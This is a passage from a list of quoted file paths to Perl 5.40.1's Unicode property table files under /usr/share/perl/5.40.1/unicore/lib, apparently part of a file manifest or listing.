"/usr/share/perl/5.40.1/unicore/lib/Age/V140.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V150.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V20.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V30.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V31.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V32.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V40.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V41.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V50.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V51.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V52.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V60.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V61.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V70.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V80.pl", "/usr/share/perl/5.40.1/unicore/lib/Age/V90.pl", "/usr/share/perl/5.40.1/unicore/lib/Alpha/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/AL.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/AN.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/B.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/BN.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/CS.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/EN.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/ES.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/ET.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/L.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/NSM.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/ON.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/R.pl", "/usr/share/perl/5.40.1/unicore/lib/Bc/WS.pl", "/usr/share/perl/5.40.1/unicore/lib/BidiC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/BidiM/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Blk/NB.pl", "/usr/share/perl/5.40.1/unicore/lib/Bpt/C.pl", "/usr/share/perl/5.40.1/unicore/lib/Bpt/N.pl", "/usr/share/perl/5.40.1/unicore/lib/Bpt/O.pl", "/usr/share/perl/5.40.1/unicore/lib/CE/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CI/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWCF/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWCM/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWKCF/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWL/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWT/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/CWU/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Cased/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/A.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/AL.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/AR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/ATAR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/B.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/BR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/DB.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/NK.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/NR.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/OV.pl", "/usr/share/perl/5.40.1/unicore/lib/Ccc/VR.pl", "/usr/share/perl/5.40.1/unicore/lib/CompEx/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/DI/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dash/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dep/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dia/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Com.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Enc.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Fin.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Font.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Init.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Iso.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Med.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Nar.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Nb.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/NonCanon.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Sqr.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Sub.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Sup.pl", "/usr/share/perl/5.40.1/unicore/lib/Dt/Vert.pl", "/usr/share/perl/5.40.1/unicore/lib/EBase/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/EComp/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/EPres/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/A.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/H.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/N.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/Na.pl", "/usr/share/perl/5.40.1/unicore/lib/Ea/W.pl", "/usr/share/perl/5.40.1/unicore/lib/Emoji/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Ext/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/ExtPict/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/CN.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/LV.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/LVT.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/PP.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/SM.pl", "/usr/share/perl/5.40.1/unicore/lib/GCB/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/C.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Cf.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Cn.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/L.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/LC.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Ll.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Lm.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Lo.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Lu.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/M.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Mc.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Me.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Mn.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/N.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Nd.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Nl.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/No.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/P.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pc.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pd.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pe.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pf.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Pi.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Po.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Ps.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/S.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Sc.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Sk.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Sm.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/So.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Z.pl", "/usr/share/perl/5.40.1/unicore/lib/Gc/Zs.pl", "/usr/share/perl/5.40.1/unicore/lib/GrBase/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/GrExt/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Hex/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Hst/NA.pl", "/usr/share/perl/5.40.1/unicore/lib/Hyphen/T.pl", "/usr/share/perl/5.40.1/unicore/lib/IDC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/IDS/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/IdStatus/Allowed.pl", "/usr/share/perl/5.40.1/unicore/lib/IdStatus/Restrict.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/DefaultI.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Exclusio.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Inclusio.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/LimitedU.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/NotChara.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/NotNFKC.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/NotXID.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Obsolete.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Recommen.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Technica.pl", "/usr/share/perl/5.40.1/unicore/lib/IdType/Uncommon.pl", "/usr/share/perl/5.40.1/unicore/lib/Ideo/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/In/10_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/11_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/12_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/12_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/13_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/14_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/15_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/2_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/2_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/3_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/3_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/3_2.pl", "/usr/share/perl/5.40.1/unicore/lib/In/4_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/4_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/5_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/5_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/5_2.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_1.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_2.pl", "/usr/share/perl/5.40.1/unicore/lib/In/6_3.pl", "/usr/share/perl/5.40.1/unicore/lib/In/7_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/8_0.pl", "/usr/share/perl/5.40.1/unicore/lib/In/9_0.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Bottom.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/BottomAn.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Left.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/LeftAndR.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/NA.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Overstru.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Right.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/Top.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndBo.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndL2.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndLe.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/TopAndRi.pl", "/usr/share/perl/5.40.1/unicore/lib/InPC/VisualOr.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Avagraha.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Bindu.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Cantilla.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona2.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona3.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona4.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona5.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona6.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona7.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona8.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consona9.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Consonan.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Geminati.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Invisibl.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Nukta.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Number.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Other.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/PureKill.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Syllable.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/ToneMark.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Virama.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Visarga.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/Vowel.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/VowelDep.pl", "/usr/share/perl/5.40.1/unicore/lib/InSC/VowelInd.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Ain.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Alef.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Beh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Dal.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/FarsiYeh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Feh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Gaf.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Hah.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/HanifiRo.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Kaf.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Lam.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/NoJoinin.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Noon.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Qaf.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Reh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Sad.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Seen.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Tah.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Waw.pl", "/usr/share/perl/5.40.1/unicore/lib/Jg/Yeh.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/C.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/D.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/L.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/R.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/T.pl", "/usr/share/perl/5.40.1/unicore/lib/Jt/U.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/AI.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/AL.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/BA.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/BB.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/CJ.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/CL.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/CM.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/GL.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/ID.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/IN.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/IS.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/NS.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/NU.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/OP.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/PO.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/PR.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/QU.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/SA.pl", "/usr/share/perl/5.40.1/unicore/lib/Lb/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/Lower/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Math/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFCQC/M.pl", "/usr/share/perl/5.40.1/unicore/lib/NFCQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFDQC/N.pl", "/usr/share/perl/5.40.1/unicore/lib/NFDQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKCQC/N.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKCQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKDQC/N.pl", "/usr/share/perl/5.40.1/unicore/lib/NFKDQC/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Nt/Di.pl", "/usr/share/perl/5.40.1/unicore/lib/Nt/None.pl", "/usr/share/perl/5.40.1/unicore/lib/Nt/Nu.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/0.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/10.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/100.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/10000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/100000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/11.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/12.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/13.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/14.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/15.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/16.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/17.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/18.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/19.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_16.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_2.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_3.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_4.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_6.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/1_8.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/2.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/20.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/200.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/2000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/20000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/2_3.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/30.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/300.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/30000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3_16.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/3_4.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/4.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/40.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/400.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/4000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/40000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/5.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/50.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/500.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/5000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/50000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/6.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/60.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/600.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/6000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/60000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/7.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/70.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/700.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/7000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/70000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/8.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/80.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/800.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/8000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/80000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/9.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/90.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/900.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/9000.pl", "/usr/share/perl/5.40.1/unicore/lib/Nv/90000.pl", "/usr/share/perl/5.40.1/unicore/lib/PCM/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/PatSyn/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Alnum.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Assigned.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Blank.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Graph.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/PerlWord.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/PosixPun.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Print.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/SpacePer.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Title.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/Word.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/XPosixPu.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlAny.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlCh2.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlCha.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlFol.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlIDC.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlIDS.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlIsI.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlNch.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlPat.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlPr2.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlPro.pl", "/usr/share/perl/5.40.1/unicore/lib/Perl/_PerlQuo.pl", "/usr/share/perl/5.40.1/unicore/lib/QMark/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/AT.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/CL.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/EX.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/FO.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/LE.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/LO.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/NU.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/SC.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/ST.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/Sp.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/UP.pl", "/usr/share/perl/5.40.1/unicore/lib/SB/XX.pl", "/usr/share/perl/5.40.1/unicore/lib/SD/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/STerm/Y.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Arab.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Beng.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Cprt.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Cyrl.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Deva.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Dupl.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Geor.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Glag.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gong.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gonm.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gran.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Grek.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Gujr.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Guru.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Han.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Hang.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Hira.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Kana.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Knda.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Latn.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Limb.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Linb.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Mlym.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Mong.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Mult.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Orya.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Sinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Syrc.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Taml.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Telu.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Zinh.pl", "/usr/share/perl/5.40.1/unicore/lib/Sc/Zyyy.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Adlm.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Arab.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Armn.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Beng.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Bhks.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Bopo.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cakm.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cham.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Copt.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cprt.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Cyrl.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Deva.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Diak.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Dupl.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Ethi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Geor.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Glag.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gong.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gonm.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gran.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Grek.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Gujr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Guru.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Han.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hang.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hebr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hira.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hmng.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Hmnp.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Kana.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Khar.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Khmr.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Khoj.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Knda.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Kthi.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Lana.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Lao.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Latn.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Limb.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Lina.pl", "/usr/share/perl/5.40.1/unicore/lib/Scx/Linb.pl", 